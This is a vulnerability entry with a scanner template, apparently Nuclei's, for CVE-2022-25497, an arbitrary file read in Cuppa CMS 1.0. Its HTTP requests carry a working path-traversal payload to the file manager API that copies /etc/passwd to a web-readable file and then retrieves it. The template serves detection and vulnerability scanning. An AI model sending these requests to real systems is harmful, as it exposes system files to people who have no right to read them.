SecurityContext

CVE-2022-25497: Cuppa CMS v1.0 - Local File Inclusion

Classification

  • Cwe: CWE-552
  • Cvss score: 5.3
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Epss score: 0.03672
  • Epss percentile: 0.89944
  • Cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*

Metadata

  • Max-request: 2
  • Product: cuppacms
  • Vendor: cuppacms
  • Verified: yes

Products

ProductIndexedUrl
cuppacms:cuppacmsyes/v1/products/cuppacms/cuppacms

Labels

  • Name: CuppaCMS - Path Traversal
  • Impact: Attackers can read arbitrary files, potentially exposing sensitive information.
  • Remediation: Update to the latest version of CuppaCMS or apply security patches addressing the file read vulnerability.
  • Vulnerability type: path_traversal
  • Vulnerability impact: file_system_read, information_disclosure
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2022-25497
  • Not known: requirements

```yaml

id: CVE-2022-25497

info:

name: Cuppa CMS v1.0 - Local File Inclusion

author: theamanrawat

severity: medium

description: |

CuppaCMS v1.0 was discovered to contain an arbitrary file read via the copy function.

impact: |

Successful exploitation of this vulnerability can lead to unauthorized access, sensitive information disclosure, and potential remote code execution.

remediation: |

Upgrade to the latest version of Cuppa CMS or apply the provided patch to fix the LFI vulnerability.

reference:

- https://github.com/CuppaCMS/CuppaCMS

- https://nvd.nist.gov/vuln/detail/CVE-2022-25497

- https://github.com/ARPSyndicate/cvemon

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

cvss-score: 5.3

cve-id: CVE-2022-25497

cwe-id: CWE-552

epss-score: 0.03672

epss-percentile: 0.89944

cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 2

vendor: cuppacms

product: cuppacms

tags: cve,cve2022,lfi,cuppa,intrusive,cuppacms,vuln,vkev

http:

- raw:

- |

POST /js/filemanager/api/index.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/json

{"from":"//../../../../../../../../../../../../../etc/passwd","to":"/../{{randstr}}.txt","action":"copyFile"}

- |

GET /{{randstr}}.txt HTTP/1.1

Host: {{Hostname}}

matchers-condition: and

matchers:

- type: word

part: header_2

words:

- text/plain

- type: regex

regex:

- "root:.*:0:0:"

- type: status

status:

- 200

digest: 4a0a00473045022031a89b583e26f8b39bd0f1fa27a9062ced3cac9aad0bcc7b215dd4f0b2ba440e0221008eb574a2248603f4882cecf54398437243a7ce10390d393277fd46a9e9582573:922c64590222798bb761d5b6d8e72950

```